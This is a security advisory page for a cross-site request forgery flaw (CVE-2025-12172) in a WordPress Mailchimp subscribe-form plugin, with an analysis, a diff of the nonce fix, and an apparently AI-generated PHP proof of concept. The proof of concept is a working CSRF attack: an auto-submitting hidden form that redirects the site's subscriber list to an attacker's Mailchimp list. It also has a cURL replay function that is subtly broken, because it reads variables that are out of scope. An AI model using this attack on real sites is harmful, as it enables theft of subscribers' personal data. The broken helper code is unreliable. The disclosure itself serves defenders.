Atomic Edge Proof of Concept automated generator using AI diff analysis
Published : March 18, 2026

CVE-2025-12172: Mailchimp List Subscribe Form <= 2.0.0 – Cross-Site Request Forgery to Mailchimp List Change (mailchimp)

Plugin mailchimp
Severity Medium (CVSS 4.3)
CWE 352
Vulnerable Version 2.0.0
Patched Version 2.0.1
Disclosed February 17, 2026

Analysis Overview

Atomic Edge analysis of CVE-2025-12172:
The Mailchimp List Subscribe Form WordPress plugin contains a Cross-Site Request Forgery vulnerability in versions up to and including 2.0.0. This vulnerability allows unauthenticated attackers to change the configured Mailchimp list via a forged request, provided they can trick an administrator into clicking a malicious link. The CVSS 4.3 score reflects the requirement for administrator interaction.

The root cause is missing nonce validation in the mailchimp_sf_change_list_if_necessary() function. This function processes the ‘update_mc_list_id’ action without verifying the request originates from a legitimate user session. The vulnerable code resides in mailchimp/mailchimp.php at lines 531-533. The function checks only for the presence of the ‘mc_list_id’ parameter and user capability, completely omitting any CSRF protection mechanism.

Exploitation requires an attacker to craft a malicious link or form that submits a POST request to the WordPress admin area. The request must include the parameter ‘mcsf_action’ with value ‘update_mc_list_id’ and a ‘mc_list_id’ parameter containing the attacker’s desired Mailchimp list identifier. When an administrator with the ‘manage_options’ capability visits a page containing this malicious payload, their browser automatically submits the request, changing the plugin’s configured Mailchimp list without their knowledge or consent.

The patch adds proper nonce validation in version 2.0.1. The fix inserts a wp_nonce_field() call in mailchimp/includes/admin/templates/settings.php at line 95, generating a nonce named ‘update_mc_list_id_nonce’ for the action ‘update_mc_list_id_action’. The mailchimp_sf_change_list_if_necessary() function now validates this nonce at lines 534-540 before processing any list changes. The patch also adds missing text domains in several esc_html_e() calls and updates version numbers throughout the codebase.

Successful exploitation allows attackers to redirect form submissions to a Mailchimp list under their control. This enables data harvesting of all user emails and personal information submitted through the plugin’s forms. While the vulnerability requires administrator interaction, it represents a significant data leakage risk as attackers can silently capture sensitive subscriber information.

Differential between vulnerable and patched code

Code Diff
--- a/mailchimp/includes/admin/class-mailchimp-user-sync.php
+++ b/mailchimp/includes/admin/class-mailchimp-user-sync.php
@@ -325,7 +325,8 @@
 					_n(
 						'You will need %1$sa Mailchimp plan%2$s that includes %3$d contact.',
 						'You will need %1$sa Mailchimp plan%2$s that includes %3$d contacts.',
-						absint( $users_count )
+						absint( $users_count ),
+						'mailchimp'
 					),
 					'<a href="https://mailchimp.com/help/about-mailchimp-pricing-plans/" target="_blank" rel="noopener noreferrer">',
 					'</a>',
--- a/mailchimp/includes/admin/templates/settings.php
+++ b/mailchimp/includes/admin/templates/settings.php
@@ -94,6 +94,7 @@
 									</div>
 									<div class="mailchimp-sf-settings-list-select-button">
 										<input type="hidden" name="mcsf_action" value="update_mc_list_id" />
+										<?php wp_nonce_field( 'update_mc_list_id_action', 'update_mc_list_id_nonce' ); ?>
 										<input type="submit" name="submit" value="<?php esc_attr_e( 'Fetch list settings', 'mailchimp' ); ?>" class="mailchimp-sf-button btn-secondary" />
 									</div>
 								</div>
--- a/mailchimp/includes/admin/templates/setup-page.php
+++ b/mailchimp/includes/admin/templates/setup-page.php
@@ -224,7 +224,7 @@
 							<tr>
 								<th class="mailchimp-sf-option-header">
 									<label for="mc_nuke_all_styles">
-										<?php esc_html_e( 'Remove CSS' ); ?>
+										<?php esc_html_e( 'Remove CSS', 'mailchimp' ); ?>
 									</label>
 								</th>
 								<td>
@@ -234,7 +234,7 @@
 											<input type="checkbox" name="mc_nuke_all_styles" id="mc_nuke_all_styles" class="mailchimp-sf-checkbox" <?php checked( get_option( 'mc_nuke_all_styles' ), true ); ?> onclick="showMe('mc-custom-styling')"/>
 										</div>
 										<label for="mc_nuke_all_styles">
-											<?php esc_html_e( 'This will disable all Mailchimp CSS, so it's recommended for WordPress experts only.' ); ?>
+											<?php esc_html_e( 'This will disable all Mailchimp CSS, so it's recommended for WordPress experts only.', 'mailchimp' ); ?>
 										</label>
 									</div>
 								</td>
@@ -265,7 +265,7 @@
 											<input type="checkbox" name="mc_custom_style" id="mc_custom_style" class="mailchimp-sf-checkbox"<?php checked( get_option( 'mc_custom_style' ), 'on' ); ?> />
 										</div>
 										<label for="mc_custom_style">
-											<?php esc_html_e( 'Edit the default Mailchimp CSS style.' ); ?>
+											<?php esc_html_e( 'Edit the default Mailchimp CSS style.', 'mailchimp' ); ?>
 										</label>
 									</div>
 								</td>
--- a/mailchimp/includes/class-mailchimp-form-submission.php
+++ b/mailchimp/includes/class-mailchimp-form-submission.php
@@ -99,6 +99,7 @@
 		$merge_fields          = get_option( 'mc_merge_vars', array() );
 		$interest_groups       = get_option( 'mc_interest_groups', array() );

+		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the request_handler() function.
 		// Check if request from latest block.
 		if ( isset( $_POST['mailchimp_sf_list_id'] ) ) {
 			$list_id               = isset( $_POST['mailchimp_sf_list_id'] ) ? sanitize_text_field( wp_unslash( $_POST['mailchimp_sf_list_id'] ) ) : '';
@@ -148,6 +149,7 @@
 		} else {
 			$email_type = 'html';
 		}
+		// phpcs:enable WordPress.Security.NonceVerification.Missing

 		$response = $this->subscribe_to_list(
 			$list_id,
@@ -251,10 +253,11 @@
 			$opt = 'mc_mv_' . $tag;

 			// Skip if the field is not required and not submitted.
-			if ( ( true !== (bool) $merge_field['required'] && ! isset( $_POST[ $opt ] ) ) || $skip_merge_validation ) {
+			if ( ( true !== (bool) $merge_field['required'] && ! isset( $_POST[ $opt ] ) ) || $skip_merge_validation ) { // phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the request_handler() function.
 				continue;
 			}

+			// phpcs:ignore WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the request_handler() function.
 			$opt_val = isset( $_POST[ $opt ] ) ? map_deep( stripslashes_deep( $_POST[ $opt ] ), 'sanitize_text_field' ) : '';

 			switch ( $merge_field['type'] ) {
@@ -339,6 +342,7 @@

 		foreach ( $interest_groups as $interest_group ) {
 			$ig_id = $interest_group['id'];
+			// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the request_handler() function.
 			if ( isset( $_POST['group'][ $ig_id ] ) && 'hidden' !== $interest_group['type'] ) {
 				switch ( $interest_group['type'] ) {
 					case 'dropdown':
@@ -367,6 +371,7 @@
 						break;
 				}
 			}
+			// phpcs:enable WordPress.Security.NonceVerification.Missing
 		}
 		return $groups;
 	}
@@ -544,6 +549,7 @@
 	 * @return bool|WP_Error True if valid, WP_Error if invalid.
 	 */
 	protected function validate_form_submission() {
+		// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the request_handler() function.
 		$spam_message = esc_html__( "We couldn't process your submission as it was flagged as potential spam. Please try again.", 'mailchimp' );
 		// Make sure the honeypot field is set, but not filled (if it is, then it's a spam).
 		if ( ! isset( $_POST['mailchimp_sf_alt_email'] ) || ! empty( $_POST['mailchimp_sf_alt_email'] ) ) {
@@ -579,5 +585,6 @@
 		 * @param array $post_data The $_POST data.
 		 */
 		return apply_filters( 'mailchimp_sf_form_submission_validation', true, $_POST );
+		// phpcs:enable WordPress.Security.NonceVerification.Missing
 	}
 }
--- a/mailchimp/mailchimp.php
+++ b/mailchimp/mailchimp.php
@@ -4,7 +4,7 @@
  * Plugin URI:        https://mailchimp.com/help/connect-or-disconnect-list-subscribe-for-wordpress/
  * Description:       Add a Mailchimp signup form block, widget or shortcode to your WordPress site.
  * Text Domain:       mailchimp
- * Version:           2.0.0
+ * Version:           2.0.1
  * Requires at least: 6.4
  * Requires PHP:      7.0
  * PHP tested up to:  8.3
@@ -67,7 +67,7 @@
 use function MailchimpWordPressIncludesAdmin{admin_notice_error, admin_notice_success};

 // Version constant for easy CSS refreshes
-define( 'MCSF_VER', '2.0.0' );
+define( 'MCSF_VER', '2.0.1' );

 // What's our permission (capability) threshold
 define( 'MCSF_CAP_THRESHOLD', 'manage_options' );
@@ -421,7 +421,7 @@
  * @return void
  **/
 function mailchimp_sf_save_general_form_settings() {
-
+	// phpcs:disable WordPress.Security.NonceVerification.Missing -- Nonce check is already done in the mailchimp_sf_request_handler() function.
 	/*Enable double optin toggle*/
 	if ( isset( $_POST['mc_double_optin'] ) ) {
 		update_option( 'mc_double_optin', true );
@@ -447,11 +447,11 @@
 	/* Update existing */
 	if ( isset( $_POST['mc_update_existing'] ) ) {
 		update_option( 'mc_update_existing', true );
-		$msg = esc_html__( 'Update existing subscribers turned On!' );
+		$msg = esc_html__( 'Update existing subscribers turned On!', 'mailchimp' );
 		admin_notice_success( $msg );
 	} elseif ( get_option( 'mc_update_existing' ) !== false ) {
 		update_option( 'mc_update_existing', false );
-		$msg = esc_html__( 'Update existing subscribers turned Off!' );
+		$msg = esc_html__( 'Update existing subscribers turned Off!', 'mailchimp' );
 		admin_notice_success( $msg );
 	}

@@ -521,6 +521,7 @@

 	$msg = esc_html__( 'Successfully Updated your List Subscribe Form Settings!', 'mailchimp' );
 	admin_notice_success( $msg );
+	// phpcs:enable WordPress.Security.NonceVerification.Missing
 }

 /**
@@ -531,15 +532,20 @@
 		return;
 	}

+	if (
+		! current_user_can( MCSF_CAP_THRESHOLD ) ||
+		! isset( $_POST['update_mc_list_id_nonce'] ) ||
+		! wp_verify_nonce( sanitize_key( $_POST['update_mc_list_id_nonce'] ), 'update_mc_list_id_action' )
+	) {
+		wp_die( 'Security check failed.' );
+	}
+
 	if ( empty( $_POST['mc_list_id'] ) ) {
 		$msg = esc_html__( 'Please choose a valid list', 'mailchimp' );
 		admin_notice_error( $msg );
 		return;
 	}

-	// Simple permission check before going through all this
-	if ( ! current_user_can( MCSF_CAP_THRESHOLD ) ) { return; }
-
 	$api = mailchimp_sf_get_api();
 	if ( ! $api ) { return; }

@@ -605,7 +611,7 @@
 				__( '<b>Success!</b> Loaded and saved the info for %d Merge Variables', 'mailchimp' ) . $igs_text,
 				count( $mv )
 			) . ' ' .
-			esc_html__( 'from your list' ) . ' "' . $list_name . '"<br/><br/>' .
+			esc_html__( 'from your list', 'mailchimp' ) . ' "' . $list_name . '"<br/><br/>' .
 			esc_html__( 'Now you should either Turn On the Mailchimp Widget or change your options below, then turn it on.', 'mailchimp' );

 			admin_notice_success( $msg );
--- a/mailchimp/vendor/composer/autoload_static.php
+++ b/mailchimp/vendor/composer/autoload_static.php
@@ -11,14 +11,14 @@
     );

     public static $prefixLengthsPsr4 = array (
-        'M' =>
+        'M' =>
         array (
             'Mailchimp\WordPress\' => 20,
         ),
     );

     public static $prefixDirsPsr4 = array (
-        'Mailchimp\WordPress\' =>
+        'Mailchimp\WordPress\' =>
         array (
             0 => __DIR__ . '/../..' . '/src',
         ),
--- a/mailchimp/vendor/composer/installed.php
+++ b/mailchimp/vendor/composer/installed.php
@@ -1,9 +1,9 @@
 <?php return array(
     'root' => array(
         'name' => 'mailchimp/wordpress',
-        'pretty_version' => '2.0.0',
-        'version' => '2.0.0.0',
-        'reference' => 'f75618e4495ce73463a28d46ef80406839598c45',
+        'pretty_version' => '2.0.1',
+        'version' => '2.0.1.0',
+        'reference' => 'cd230223528aa8c17041aa2e7e492caeda37e26d',
         'type' => 'wordpress-plugin',
         'install_path' => __DIR__ . '/../../',
         'aliases' => array(),
@@ -11,9 +11,9 @@
     ),
     'versions' => array(
         'mailchimp/wordpress' => array(
-            'pretty_version' => '2.0.0',
-            'version' => '2.0.0.0',
-            'reference' => 'f75618e4495ce73463a28d46ef80406839598c45',
+            'pretty_version' => '2.0.1',
+            'version' => '2.0.1.0',
+            'reference' => 'cd230223528aa8c17041aa2e7e492caeda37e26d',
             'type' => 'wordpress-plugin',
             'install_path' => __DIR__ . '/../../',
             'aliases' => array(),

Proof of Concept (PHP)

NOTICE :

This proof-of-concept is provided for educational and authorized security research purposes only.

You may not use this code against any system, application, or network without explicit prior authorization from the system owner.

Unauthorized access, testing, or interference with systems may violate applicable laws and regulations in your jurisdiction.

This code is intended solely to illustrate the nature of a publicly disclosed vulnerability in a controlled environment and may be incomplete, unsafe, or unsuitable for real-world use.

By accessing or using this information, you acknowledge that you are solely responsible for your actions and compliance with applicable laws.

 
PHP PoC
// ==========================================================================
// Atomic Edge CVE Research | https://atomicedge.io
// Copyright (c) Atomic Edge. All rights reserved.
//
// LEGAL DISCLAIMER:
// This proof-of-concept is provided for authorized security testing and
// educational purposes only. Use of this code against systems without
// explicit written permission from the system owner is prohibited and may
// violate applicable laws including the Computer Fraud and Abuse Act (USA),
// Criminal Code s.342.1 (Canada), and the EU NIS2 Directive / national
// computer misuse statutes. This code is provided "AS IS" without warranty
// of any kind. Atomic Edge and its authors accept no liability for misuse,
// damages, or legal consequences arising from the use of this code. You are
// solely responsible for ensuring compliance with all applicable laws in
// your jurisdiction before use.
// ==========================================================================
// Atomic Edge CVE Research - Proof of Concept
// CVE-2025-12172 - Mailchimp List Subscribe Form <= 2.0.0 - Cross-Site Request Forgery to Mailchimp List Change

<?php
/**
 * Proof of Concept for CVE-2025-12172
 * CSRF to change Mailchimp list in WordPress plugin
 * 
 * Usage: Place this script on an attacker-controlled server.
 * Send the URL to a WordPress administrator while they're logged in.
 * When they visit, the script will attempt to change the Mailchimp list.
 */

$target_url = 'http://vulnerable-wordpress-site.com/wp-admin/admin.php?page=mailchimp-sf'; // Configure target
$attacker_list_id = 'ATTACKER_LIST_ID'; // Attacker's Mailchimp list ID

// Generate CSRF attack form with auto-submit
$html = <<<HTML
<!DOCTYPE html>
<html>
<head>
    <title>Loading...</title>
</head>
<body>
    <form id="csrf_form" method="POST" action="$target_url">
        <input type="hidden" name="mcsf_action" value="update_mc_list_id" />
        <input type="hidden" name="mc_list_id" value="$attacker_list_id" />
        <input type="hidden" name="submit" value="Fetch list settings" />
    </form>
    <script>
        // Auto-submit form on page load
        document.addEventListener('DOMContentLoaded', function() {
            document.getElementById('csrf_form').submit();
        });
    </script>
</body>
</html>
HTML;

echo $html;

// Alternative method using cURL for direct testing
function test_exploit_direct() {
    $target = $target_url;
    $list_id = $attacker_list_id;
    
    $post_data = array(
        'mcsf_action' => 'update_mc_list_id',
        'mc_list_id' => $list_id,
        'submit' => 'Fetch list settings'
    );
    
    $ch = curl_init();
    curl_setopt($ch, CURLOPT_URL, $target);
    curl_setopt($ch, CURLOPT_POST, 1);
    curl_setopt($ch, CURLOPT_POSTFIELDS, http_build_query($post_data));
    curl_setopt($ch, CURLOPT_RETURNTRANSFER, true);
    curl_setopt($ch, CURLOPT_FOLLOWLOCATION, true);
    curl_setopt($ch, CURLOPT_COOKIE, 'wordpress_logged_in_xxxx=xxxx;'); // Add admin session cookie
    
    $response = curl_exec($ch);
    $http_code = curl_getinfo($ch, CURLINFO_HTTP_CODE);
    curl_close($ch);
    
    if ($http_code == 200 && strpos($response, 'Successfully Updated') !== false) {
        return "Exploit successful - Mailchimp list changed to $list_id";
    } else {
        return "Exploit failed - HTTP $http_code";
    }
}

// Uncomment to test directly with admin cookies
// echo test_exploit_direct();
?>

Frequently Asked Questions

How Atomic Edge Works

Simple Setup. Powerful Security.

Atomic Edge acts as a security layer between your website & the internet. Our AI inspection and analysis engine auto blocks threats before traditional firewall services can inspect, research and build archaic regex filters.

Get Started

Trusted by Developers & Organizations

Trusted by Developers
Blac&kMcDonaldCovenant House TorontoAlzheimer Society CanadaUniversity of TorontoHarvard Medical School